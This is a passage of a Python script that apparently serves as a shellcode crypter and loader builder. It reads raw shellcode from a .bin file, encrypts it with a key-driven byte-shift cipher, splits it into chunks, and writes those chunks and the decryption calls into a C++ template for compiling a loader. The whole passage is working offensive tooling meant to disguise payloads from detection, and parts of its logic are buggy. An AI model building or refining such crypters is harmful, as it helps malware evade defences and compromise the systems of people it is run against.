and encrypt it with our custom encryption 44 | #this encryption will rely on shifting bytes to one of 256 positions, which we will shift depending on the unique key of 16 bytes 45 | 46 | #first, read in the .bin file - might need to do this with chunks, not sure yet 47 | def read_bin(filename): 48 | 49 | with open(filename, 'rb') as f: 50 | plain_shellcode = f.read() 51 | 52 | length_of_shellcode = len(plain_shellcode) 53 | 54 | return length_of_shellcode, plain_shellcode 55 | 56 | def gen_key(length_of_key): 57 | key = secrets.token_bytes(length_of_key) #generate x random bytes 58 | bad_byte = False 59 | 60 | if b"\xff" or b"\x00" in key: #we need to move the bytes by at least 1 61 | bad_byte = True 62 | 63 | while(bad_byte == True): #make sure \xff is not in key, or it will shift byte back to itself 64 | key = secrets.token_bytes(length_of_key) #generate x random bytes 65 | bad_byte = False 66 | 67 | if b"\xff" in key: 68 | bad_byte = True 69 | 70 | hex_key = "" 71 | for i in range(len(key)): 72 | if len(hex(key[i])) == 3: 73 | byte = hex(key[i]) 74 | byte = byte.replace("0x", "\\x0") 75 | hex_key += byte 76 | else: 77 | 78 | hex_key += hex(key[i]) 79 | 80 | hex_key = hex_key.replace("0x", "\\x") 81 | 82 | 83 | print("Successfully generated key: ", hex_key, "\n", key) 84 | 85 | #get bytes as integers, and add them up - we will encrypt the shellcode in "total" size chunks 86 | total = 0 87 | #make sure key is 88 | for i in range(len(key)): 89 | integer = int(key[i]) 90 | total += integer 91 | 92 | print("Total length of each section is approximately: {}".format(total)) 93 | return key, total, hex_key 94 | 95 | def create_shellcode_sections(shellcode, key_total_len): 96 | 97 | len_shellcode = len(shellcode) #measures the length of the shellcode 98 | 99 | 100 | list_of_shellcode_pieces = list() #empty list to capture divided shellcode pieces 101 | number_of_pieces = round(len_shellcode/key_total_len) 102 | 103 | for i in range(number_of_pieces): 104 | piece_length = key_total_len 105 | 106 | 107 | #special cases - first and last piece of the string 108 | 109 | if i == 0: #the first case 110 | 111 | first_piece = shellcode[:piece_length] #beginning to the end of the first piece 112 | 113 | list_of_shellcode_pieces.append(first_piece) 114 | 115 | if 0 < i < key_total_len-1: 116 | 117 | shellcode_piece = shellcode[(piece_length*(i)):(piece_length*(i+1))] # from end of x-1 piece to the end of x piece (e.g. end of 118 | #first piece to the end of the second piece, completing the second piece 119 | 120 | list_of_shellcode_pieces.append(shellcode_piece) 121 | 122 | if i == key_total_len - 1: #the last case 123 | final_piece = shellcode[(piece_length*(i)):] #length of the final piece 124 | 125 | list_of_shellcode_pieces.append(final_piece) 126 | 127 | 128 | #print("The full shellcode list:", list_of_shellcode_pieces) 129 | 130 | 131 | return list_of_shellcode_pieces #returns full list of shellcode, after it has been divided by the number of splits requested. 132 | 133 | 134 | 135 | def encrypt_shellcode(shellcode_list, key): 136 | encrypted_shellcode = b"" 137 | #take piece from shellcode list, and encrypt it with a byte in the key 138 | number_of_pieces = len(shellcode_list) 139 | 140 | keylen = len(key) #number of bytes in the key 141 | 142 | for i in range(len(shellcode_list)): 143 | if i < keylen: 144 | piece = shellcode_list[i] #get a piece out of our list 145 | for byte in piece: #get each byte from that piece, and shift it - this should already convert bytes to ints for us 146 | new_byte = byte + key[i] 147 | 148 | if new_byte > 255: #exists outside of hex range, so need to move it back into range 149 | new_byte = bytes([new_byte - 256]) 150 | encrypted_shellcode += new_byte 151 | 152 | else: 153 | new_byte = bytes([new_byte]) 154 | encrypted_shellcode += new_byte 155 | 156 | else: #we need to do modular arithmetic here to get a new index for the keylen that does not exceed its length 157 | index = i % keylen 158 | piece = shellcode_list[i] 159 | for byte in piece: 160 | new_byte = byte + key[index] 161 | 162 | if new_byte > 255: #exists outside of hex range, so need to move it back into range 163 | new_byte = bytes([new_byte - 256]) 164 | encrypted_shellcode += new_byte 165 | 166 | else: 167 | new_byte = bytes([new_byte]) 168 | encrypted_shellcode += new_byte 169 | 170 | 171 | return encrypted_shellcode 172 | 173 | def write_encrypted_output(encrypted_shellcode, output_file): 174 | with open(output_file, 'wb') as f: 175 | f.write(encrypted_shellcode) #write the shellcode to the output file 176 | 177 | return True 178 | 179 | #every function below for c++ code file generation 180 | 181 | def cleanup_cpp_file(compile_file): #cleanup file for next compilation round 182 | with open(compile_file, 'r+') as f: 183 | lines = f.readlines() 184 | for i in range(len(lines)): 185 | if "unsigned char string_" in lines[i]: 186 | lines[i] = "\n" 187 | 188 | if "memcpy(string" in lines[i]: 189 | lines[i] = "\n" 190 | 191 | if "std::vector section_" in lines[i]: 192 | lines[i] = "\n" 193 | 194 | if "std::copy(" in lines[i]: 195 | lines[i] = "\n" 196 | 197 | with open(compile_file, 'w') as f: 198 | f.writelines(lines) 199 | f.close() 200 | 201 | return 202 | 203 | def split_shellcode(shellcode, split_number): 204 | 205 | length_of_shellcode = len(shellcode) #measures the length of the shellcode 206 | print("The length of the shellcode in bytes is:", length_of_shellcode) 207 | 208 | list_of_shellcode_pieces = list() #empty list to capture divided shellcode pieces 209 | 210 | piece_length = round(length_of_shellcode/split_number) 211 | 212 | for i in range(split_number): 213 | #special cases - first and last piece of the string 214 | 215 | if i == 0: #the first case 216 | 217 | first_shellcode_piece = shellcode[:piece_length] #beginning to the end of the first piece 218 | list_of_shellcode_pieces.append(first_shellcode_piece) 219 | 220 | if 0 < i < split_number-1: 221 | 222 | shellcode_piece = shellcode[(piece_length*(i)):(piece_length*(i+1))] # from end of x-1 piece to the end of x piece 223 | list_of_shellcode_pieces.append(shellcode_piece) 224 | 225 | if i == split_number - 1: #the last case 226 | final_shellcode_piece = shellcode[(piece_length*(i)):] #length of the final piece 227 | list_of_shellcode_pieces.append(final_shellcode_piece) 228 | 229 | print("\nEach piece is approximately {} bytes".format(piece_length)) 230 | print("There are {} pieces".format(split_number)) 231 | 232 | return list_of_shellcode_pieces 233 | 234 | def write_compile_file(shellcode_list, compile_file, shellcode_total_length, key, key_total, number_sections): 235 | 236 | with open(compile_file, 'r+') as f: 237 | lines = f.readlines() 238 | for i in range(len(lines)): 239 | 240 | if "NEED TO PLACE KEY TOTAL HERE" in lines[i]: 241 | lines[i+1] = "unsigned char decrypted_code[{}];\n".format(key_total) 242 | 243 | if "Place key here" in lines[i]: 244 | lines[i+1] = "unsigned char key[] = \"{}\";\n".format(key) 245 | 246 | if "place encrypted byte pieces here" in lines[i]: 247 | 248 | for index in range(len(shellcode_list)): 249 | shellcode_list[index] = '\\x'.join(format(x, '02x') for x in shellcode_list[index]) 250 | shellcode_list[index] = "\\x" + shellcode_list[index] #add \x to beginning of each element, since previous line does not do this 251 | shellcode_list[index] = shellcode_list[index].replace(" ", "") #remove any spaces if they exist 252 | lines[i+1+index] = "unsigned char string_{0}[] = \"{1}\";\n".format(index, shellcode_list[index]) 253 | 254 | if "place memcpy operations here" in lines[i]: 255 | lines[i+1] = "unsigned char string[{}];\n".format(shellcode_total_length) 256 | mem_length = 0 #how much space we need to move over to continue allocating in memory 257 | for x in range(len(shellcode_list)): 258 | length_piece = round(len(shellcode_list[x])/4) 259 | if x != 0: 260 | length_previous_piece = round(len(shellcode_list[x-1])/4) 261 | if x == 1: 262 | mem_length = length_previous_piece 263 | lines[i+3] = "memcpy(string + {0}, string_{1}, {2});\n".format(mem_length, x, length_piece) 264 | 265 | else: 266 | mem_length += length_previous_piece 267 | lines[i+2+x] = "memcpy(string + {0}, string_{1}, {2});\n".format(mem_length, x, length_piece) 268 | else: 269 | lines[i+2]= "memcpy(string, string_0, {});\n".format(length_piece) 270 | 271 | if "place byte count here" in lines[i]: #manually put in length multiple times to avoid defining a var for it in c++ code 272 | lines[i+1] = "std::vector bytes(string, string + {});\n".format(shellcode_total_length) 273 | 274 | if "place number of sections here" in lines[i]: 275 | lines[i+1] = "int number_sections = {};\n".format(number_sections) 276 | 277 | if "place vector operations here" in lines[i]: #TODO START HERE WHEN YOU RESUME 278 | #first measure big the final piece of code to be decrypted will be 279 | final_section_size = shellcode_total_length % key_total 280 | 281 | if final_section_size == 0: 282 | final_section_size = key_total 283 | 284 | print("There are {} sections".format(number_sections)) 285 | 286 | #define values for the next for loop 287 | previous_section_size = key_total 288 | section_size = key_total 289 | 290 | for x in range(number_sections): 291 | key_index = x % (int(len(key)/4)) 292 | if x != 0: 293 | if x == 1: 294 | section_size += key_total 295 | lines[i+3] = "std::vector section_{0} = std::vector(bytes.begin() + {1}, bytes.begin() + {2});\n".format(x, key_total, section_size) 296 | lines[i+4] = "std::vector section_1_decrypted = DecryptBytes(section_1, key[1], 1, {}, sizeof(key));\n".format(key_total) 297 | 298 | elif x == number_sections-1: #final piece 299 | section_size += final_section_size 300 | previous_section_size += key_total 301 | lines[i+(x*2)+1] = "std::vector section_{0} = std::vector(bytes.begin() + {2}, bytes.begin() + {3});\n".format(x, final_section_size, previous_section_size, section_size) 302 | lines[i+(x*2)+2] = "std::vector section_{0}_decrypted = DecryptBytes(section_{0}, key[{2}], {0}, {1}, sizeof(key));\n".format(x, final_section_size, key_index) 303 | 304 | else: 305 | section_size += key_total 306 | previous_section_size += key_total 307 | lines[i+(x*2)+1] = "std::vector section_{0} = std::vector(bytes.begin() + {2}, bytes.begin() + {3});\n".format(x, key_total, previous_section_size, section_size) 308 | lines[i+(x*2)+2] = "std::vector section_{0}_decrypted = DecryptBytes(section_{0}, key[{2}], {0}, {1}, sizeof(key));\n".format(x, key_total, key_index) 309 | 310 | 311 | else: 312 | lines[i+1] = "std::vector section_{0} = std::vector(bytes.begin(), bytes.begin() + {1});\n".format(x, key_total) 313 | lines[i+2] = "std::vector section_0_decrypted = DecryptBytes(section_0, key[0], 0, {}, sizeof(key));\n".format(key_total) 314 | 315 | 316 | if "place copy operations here" in lines[i]: 317 | 318 | #vector appending/copying piece 319 | for x in range(number_sections): 320 | if x != 0: 321 | lines[i+x+1] = "std::copy(section_{0}_decrypted.begin(), section_{0}_decrypted.end(), std::back_inserter(code_decrypted));\n".format(x) 322 | 323 | else: 324 | lines[i+1] = "std::vector code_decrypted(section_0_decrypted);\n" 325 | 326 | if "place size here" in lines[i]: 327 | lines[i+1] = "\tSIZE_T size = {};\n".format(shellcode_total_length) 328 | 329 | #write lines to file 330 | with open(compile_file, 'w+') as f: 331 | f.writelines(lines) 332 | f.close() 333 | 334 | return 335 | 336 | 337 | def main(path, output, keylen, cpp_compile_file, split_number): 338 | 339 | len_shellcode, shellcode = read_bin(path) 340 | print("Total length of shellcode: ", len_shellcode) 341 | 342 | key, key_total, hex_key = gen_key(keylen) 343 | print("Total from key bytes: ", key_total) 344 | 345 | shellcode_list = create_shellcode_sections(shellcode, key_total) 346 | number_of_sections = len(shellcode_list) 347 | print("Created shellcode piece list, which has {} pieces".format(number_of_sections)) 348 | 349 | encrypted_shellcode = encrypt_shellcode(shellcode_list, key) 350 | print("Length of encrypted shellcode: ", len(encrypted_shellcode)) 351 | 352 | if len(encrypted_shellcode)!= len_shellcode: 353 | main(path, output, keylen, cpp_compile_file, split_number) 354 | sys.exit() 355 | 356 | else: 357 | write_encrypted_output(encrypted_shellcode, output) 358 | print("Wrote encrypted shellcode to {}!".format(output)) 359 | 360 | 361 | #generate the cpp compile_file 362 | 363 | list_of_pieces = split_shellcode(encrypted_shellcode, split_number) 364 | print("Cleaning up {}...".format(cpp_compile_file)) 365 | cleanup_cpp_file(cpp_compile_file) 366 | print("Finished cleaning up {}.".format(cpp_compile_file)) 367 | 368 | print("Crafting {}...".format(cpp_compile_file)) 369 | length_encrypted_shellcode = len(encrypted_shellcode) 370 | write_compile_file(list_of_pieces, cpp_compile_file, length_encrypted_shellcode, hex_key, key_total, number_of_sections) 371 | print("Finished up! Check out {} for compilation".format(cpp_compile_file)) 372 | 373 | 374 | 375 | 376 | 377 | if __name__ == '__main__': 378 | parser = argparse.ArgumentParser(description="Generate encryption for shellcode.") 379 | parser.add_argument('-path', action='store', dest="path", default="", help="Provide the path to the .bin file which contains your shellcode.") 380 | parser.add_argument('-o', action='store', dest="output", default="encrypted.bin", help="Provide the path where you want your encrypted .bin to be placed.") 381 | parser.add_argument('-len_key', action='store', dest="length_of_key", default=16, help="Provide a positive integer that will be the length of the key in bytes. Longer keys will take longer to encrypt/decrypt") 382 | parser.add_argument('-compile_file', action='store', dest="compile_file", default="custom_decrypt.cpp", help="Provide the path to the C++ file you want to edit.") 383 | parser.add_argument('-split_shellcode', action='store', dest="split_shellcode", default=20, help="Provide a positive integer that will be the number of times to split the encrypted shellcode, so that it works properly with Visual Studio strings for c++ compilation.") 384 | args = parser.parse_args() 385 | 386 | if str(args.path) == "": 387 | print("You have not supplied a .bin file to encrypt! Please provide something such as: -path example.bin") 388 | parser.print_help() 389 | sys.exit() 390 | 391 | if int(args.length_of_key) < 0: 392 | print("You cannot supply a negative key length, choose a positive integer. The default is 16.") 393 | parser.print_help() 394 | sys.exit() 395 | 396 | elif int(args.length_of_key) > 50: 397 | print("You cannot supply a key length longer than 50 bytes") 398 | parser.print_help() 399 | sys.exit() 400 | 401 | if int(args.split_shellcode) < 0: 402 | print("You cannot supply a split length for shellcode, choose a positive integer. The default is 20.") 403 | parser.print_help() 404 | sys.exit() 405 | 406 | 407 | main(str(args.path), str(args.output), int(args.length_of_key), str(args.compile_file), int(args.split_shellcode)) 408 | --------------------------------------------------------------------------------